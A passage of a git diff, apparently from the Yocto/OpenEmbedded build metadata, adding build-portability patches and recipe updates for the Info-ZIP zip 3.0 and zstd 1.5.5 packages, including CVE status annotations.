+to do the detection correctly.
+
+Upstream-Status: Inactive-Upstream
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ unix/configure | 42 ++++++++++++------------------------------
+ 1 file changed, 12 insertions(+), 30 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index f2b3d02..f917086 100644
+--- a/unix/configure
++++ b/unix/configure
+@@ -361,6 +361,10 @@ cat > conftest.c << _EOF_
+ #include <sys/stat.h>
+ #include <unistd.h>
+ #include <stdio.h>
++
++_Static_assert(sizeof((struct stat){0}.st_uid) == 2, "sizeof st_uid is not 16 bit");
++_Static_assert(sizeof((struct stat){0}.st_gid) == 2, "sizeof st_gid is not 16 bit");
++
+ int main()
+ {
+ struct stat s;
+@@ -385,21 +389,7 @@ if [ $? -ne 0 ]; then
+ echo -- UID/GID test failed on compile - disabling old 16-bit UID/GID support
+ CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
+ else
+-# run it
+- ./conftest
+- r=$?
+- if [ $r -eq 1 ]; then
+- echo -- UID not 2 bytes - disabling old 16-bit UID/GID support
+- CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
+- elif [ $r -eq 2 ]; then
+- echo -- GID not 2 bytes - disabling old 16-bit UID/GID support
+- CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
+- elif [ $r -eq 3 ]; then
+- echo -- 16-bit UIDs and GIDs - keeping old 16-bit UID/GID support
+- else
+- echo -- test failed - conftest returned $r - disabling old 16-bit UID/GID support
+- CFLAGS="${CFLAGS} -DUIDGID_NOT_16BIT"
+- fi
++ echo -- 16-bit UIDs and GIDs - keeping old 16-bit UID/GID support
+ fi
+
+
+@@ -417,6 +407,10 @@ cat > conftest.c << _EOF_
+ #include <sys/stat.h>
+ #include <unistd.h>
+ #include <stdio.h>
++
++_Static_assert(sizeof(off_t) < 8, "sizeof off_t < 8 failed");
++_Static_assert(sizeof((struct stat){0}.st_size) < 8, "sizeof st_size < 8 failed");
++
+ int main()
+ {
+ off_t offset;
+@@ -436,24 +430,12 @@ _EOF_
+ # compile it
+ $CC -o conftest conftest.c >/dev/null 2>/dev/null
+ if [ $? -ne 0 ]; then
+- echo -- no Large File Support
++ echo -- yes we have Large File Support!
++ CFLAGS="${CFLAGS} -DLARGE_FILE_SUPPORT"
+ else
+-# run it
+- ./conftest
+- r=$?
+- if [ $r -eq 1 ]; then
+- echo -- no Large File Support - no 64-bit off_t
+- elif [ $r -eq 2 ]; then
+- echo -- no Large File Support - no 64-bit stat
+- elif [ $r -eq 3 ]; then
+- echo -- yes we have Large File Support!
+- CFLAGS="${CFLAGS} -DLARGE_FILE_SUPPORT"
+- else
+- echo -- no Large File Support - conftest returned $r
+- fi
++ echo -- no Large File Support
+ fi
+
+-
+ # Check for wide char for Unicode support
+ # Added 11/24/2005 EG
+
+--
+2.34.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch b/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch
new file mode 100644
index 0000000000..6e0879616a
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch
@@ -0,0 +1,34 @@
+From b0492506d2c28581193906e9d260d4f0451e2c39 Mon Sep 17 00:00:00 2001
+From: Joe Slater <joe.slater@windriver.com>
+Date: Thu, 24 Feb 2022 17:46:03 -0800
+Subject: [PATCH 2/2] configure: support PIC code build
+
+Disable building match.S. The code requires
+relocation in .text.
+
+Upstream-Status: Inappropriate [openembedded specific]
+
+Signed-off-by: Joe Slater <joe.slater@windriver.com>
+---
+ unix/configure | 5 +++--
+ 1 file changed, 3 insertions(+), 2 deletions(-)
+
+diff --git a/unix/configure b/unix/configure
+index 7e21070..1bc698b 100644
+--- a/unix/configure
++++ b/unix/configure
+@@ -242,8 +242,9 @@ if eval "$CPP match.S > _match.s 2>/dev/null"; then
+ if test ! -s _match.s || grep error < _match.s > /dev/null; then
+ :
+ elif eval "$CC -c _match.s >/dev/null 2>/dev/null" && [ -f _match.o ]; then
+- CFLAGS="${CFLAGS} -DASMV"
+- OBJA="match.o"
++ # disable match.S for PIC code
++ # CFLAGS="${CFLAGS} -DASMV"
++ # OBJA="match.o"
+ echo "int foo() { return 0;}" > conftest.c
+ $CC -c conftest.c >/dev/null 2>/dev/null
+ echo Check if compiler generates underlines
+--
+2.24.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/0002-unix.c-Do-not-redefine-DIR-as-FILE.patch b/meta/recipes-extended/zip/zip-3.0/0002-unix.c-Do-not-redefine-DIR-as-FILE.patch
new file mode 100644
index 0000000000..a86e03e620
--- /dev/null
+++ b/meta/recipes-extended/zip/zip-3.0/0002-unix.c-Do-not-redefine-DIR-as-FILE.patch
@@ -0,0 +1,35 @@
+From 76f5bf3546d826dcbc03acbefcf0b10b972bf136 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 10 Aug 2022 17:19:38 -0700
+Subject: [PATCH 2/2] unix.c: Do not redefine DIR as FILE
+
+DIR is already provided on Linux via
+/usr/include/dirent.h system header
+
+Upstream-Status: Inactive-Upstream
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ unix/unix.c | 2 --
+ 1 file changed, 2 deletions(-)
+
+diff --git a/unix/unix.c b/unix/unix.c
+index ba87614..6e6f4d2 100644
+--- a/unix/unix.c
++++ b/unix/unix.c
+@@ -61,13 +61,11 @@ local time_t label_utim = 0;
+ /* Local functions */
+ local char *readd OF((DIR *));
+
+-
+ #ifdef NO_DIR /* for AT&T 3B1 */
+ #include <sys/dir.h>
+ #ifndef dirent
+ # define dirent direct
+ #endif
+-typedef FILE DIR;
+ /*
+ ** Apparently originally by Rich Salz.
+ ** Cleaned up and modified by James W. Birdsall.
+--
+2.37.1
+
diff --git a/meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch b/meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch
index 244ddea363..6fd04df1c6 100644
--- a/meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch
+++ b/meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch
@@ -2,7 +2,7 @@ From: Santiago Vila <sanvila@debian.org>
Subject: Remove (optional) build date to make the build reproducible
Bug-Debian: http://bugs.debian.org/779042
-Upstream-Status: Inappropriate [no upstream]
+Upstream-Status: Inactive-Upstream [no upstream]
Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
diff --git a/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch b/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
index 19d8548273..f85fddbc60 100644
--- a/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
+++ b/meta/recipes-extended/zip/zip-3.0/fix-security-format.patch
@@ -14,7 +14,7 @@ zip.c:1228:5: error: format not a string literal and no format arguments [-Werro
[YOCTO #9552]
[https://bugzilla.yoctoproject.org/show_bug.cgi?id=9552]
-Upstream-Status: Pending
+Upstream-Status: Inactive-Upstream [need a new release]
Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
diff --git a/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch b/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch
index ce6caff83e..77ade40a04 100644
--- a/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch
+++ b/meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch
@@ -4,7 +4,7 @@ https://bugs.archlinux.org/task/47713
Signed-off-by: Jate Sujjavanich <jatedev@gmail.com>
-Upstream-Status: Inappropriate [no upstream]
+Upstream-Status: Inactive-Upstream [no upstream]
diff --git a/zipnote.c b/zipnote.c
index 5e02cb6..996f012 100644
diff --git a/meta/recipes-extended/zip/zip_3.0.bb b/meta/recipes-extended/zip/zip_3.0.bb
index c00a932763..70df5ab872 100644
--- a/meta/recipes-extended/zip/zip_3.0.bb
+++ b/meta/recipes-extended/zip/zip_3.0.bb
@@ -1,11 +1,11 @@
SUMMARY = "Compressor/archiver for creating and modifying .zip files"
HOMEPAGE = "http://www.info-zip.org"
+DESCRIPTION = "Info-ZIP's purpose is to provide free, portable, high-quality versions of the Zip and UnZip compressor-archiver utilities that are compatible with the DOS-based PKZIP by PKWARE, Inc."
SECTION = "console/utils"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=04d43c5d70b496c032308106e26ae17d"
-PR = "r2"
S = "${WORKDIR}/zip30"
@@ -13,12 +13,21 @@ SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/Zip%203.x%20%28latest%29/3.0/zip30.tar.
file://fix-security-format.patch \
file://10-remove-build-date.patch \
file://zipnote-crashes-with-segfault.patch \
+ file://0001-configure-use-correct-CPP.patch \
+ file://0002-configure-support-PIC-code-build.patch \
+ file://0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch \
+ file://0001-configure-Specify-correct-function-signatures-and-de.patch \
+ file://0002-unix.c-Do-not-redefine-DIR-as-FILE.patch \
+ file://0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch \
"
UPSTREAM_VERSION_UNKNOWN = "1"
SRC_URI[md5sum] = "7b74551e63f8ee6aab6fbc86676c0d37"
SRC_URI[sha256sum] = "f0e8bb1f9b7eb0b01285495a2699df3a4b766784c1765a8f1aeedf63c0806369"
+CVE_STATUS[CVE-2018-13410] = "disputed: Disputed and also Debian doesn't consider a vulnerability"
+CVE_STATUS[CVE-2018-13684] = "cpe-incorrect: Not for zip but for smart contract implementation for it"
+
# zip.inc sets CFLAGS, but what Makefile actually uses is
# CFLAGS_NOOPT. It will also force -O3 optimization, overriding
# whatever we set.
diff --git a/meta/recipes-extended/zstd/zstd/0001-pzstd-use-directly-for-the-test-c-snippet.patch b/meta/recipes-extended/zstd/zstd/0001-pzstd-use-directly-for-the-test-c-snippet.patch
new file mode 100644
index 0000000000..847a641691
--- /dev/null
+++ b/meta/recipes-extended/zstd/zstd/0001-pzstd-use-directly-for-the-test-c-snippet.patch
@@ -0,0 +1,39 @@
+From 121ef5253a49065dea6a89536ca7bd3dabd40e25 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 19 Jun 2023 17:10:09 +0200
+Subject: [PATCH] pzstd: use c++14 without conditions
+
+Doing this check with a direct c++ snippet is prone to portability problems:
+
+- \043 is not portable between shells: dash expands it to #,
+bash does not;
+
+- using # directly works with make 4.3 but does not with make 4.2.
+
+Let's just use the c++ version that covers both the code and the gtest.
+
+Upstream-Status: Submitted [https://github.com/facebook/zstd/pull/3682]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ contrib/pzstd/Makefile | 7 ++-----
+ 1 file changed, 2 insertions(+), 5 deletions(-)
+
+diff --git a/contrib/pzstd/Makefile b/contrib/pzstd/Makefile
+index e62f8e87..58fb82a1 100644
+--- a/contrib/pzstd/Makefile
++++ b/contrib/pzstd/Makefile
+@@ -37,11 +37,8 @@ CFLAGS += -Wno-deprecated-declarations
+ PZSTD_INC = -I$(ZSTDDIR) -I$(ZSTDDIR)/common -I$(PROGDIR) -I.
+ GTEST_INC = -isystem googletest/googletest/include
+
+-# If default C++ version is older than C++11, explicitly set C++11, which is the
+-# minimum required by the code.
+-ifeq ($(shell echo "\043if __cplusplus < 201103L\n\043error\n\043endif" | $(CXX) -x c++ -Werror -c - -o /dev/null 2>/dev/null && echo 1 || echo 0),0)
+-PZSTD_CXX_STD := -std=c++11
+-endif
++# Set the minimum required by gtest
++PZSTD_CXX_STD := -std=c++14
+
+ PZSTD_CPPFLAGS = $(PZSTD_INC)
+ PZSTD_CCXXFLAGS =
diff --git a/meta/recipes-extended/zstd/zstd_1.5.5.bb b/meta/recipes-extended/zstd/zstd_1.5.5.bb
new file mode 100644
index 0000000000..2d72af50a4
--- /dev/null
+++ b/meta/recipes-extended/zstd/zstd_1.5.5.bb
@@ -0,0 +1,47 @@
+SUMMARY = "Zstandard - Fast real-time compression algorithm"
+DESCRIPTION = "Zstandard is a fast lossless compression algorithm, targeting \
+real-time compression scenarios at zlib-level and better compression ratios. \
+It's backed by a very fast entropy stage, provided by Huff0 and FSE library."
+HOMEPAGE = "http://www.zstd.net/"
+SECTION = "console/utils"
+
+LICENSE = "BSD-3-Clause | GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=0822a32f7acdbe013606746641746ee8 \
+ file://COPYING;md5=39bba7d2cf0ba1036f2a6e2be52fe3f0 \
+ "
+
+SRC_URI = "git://github.com/facebook/zstd.git;branch=release;protocol=https \
+ file://0001-pzstd-use-directly-for-the-test-c-snippet.patch"
+
+SRCREV = "63779c798237346c2b245c546c40b72a5a5913fe"
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+CVE_PRODUCT = "zstandard"
+
+S = "${WORKDIR}/git"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[lz4] = "HAVE_LZ4=1,HAVE_LZ4=0,lz4"
+PACKAGECONFIG[lzma] = "HAVE_LZMA=1,HAVE_LZMA=0,xz"
+PACKAGECONFIG[zlib] = "HAVE_ZLIB=1,HAVE_ZLIB=0,zlib"
+
+# See programs/README.md for how to use this
+ZSTD_LEGACY_SUPPORT ??= "4"
+
+EXTRA_OEMAKE += "V=1"
+
+do_compile () {
+ oe_runmake ${PACKAGECONFIG_CONFARGS} ZSTD_LEGACY_SUPPORT=${ZSTD_LEGACY_SUPPORT}
+ oe_runmake ${PACKAGECONFIG_CONFARGS} ZSTD_LEGACY_SUPPORT=${ZSTD_LEGACY_SUPPORT} -C contrib/pzstd
+}
+
+do_install () {
+ oe_runmake install 'DESTDIR=${D}'
+ oe_runmake install 'DESTDIR=${D}' PREFIX=${prefix} -C contrib/pzstd
+}
+
+PACKAGE_BEFORE_PN = "libzstd"
+
+FILES:libzstd = "${libdir}/libzstd${SOLIBS}"
+
+BBCLASSEXTEND = "native nativesdk"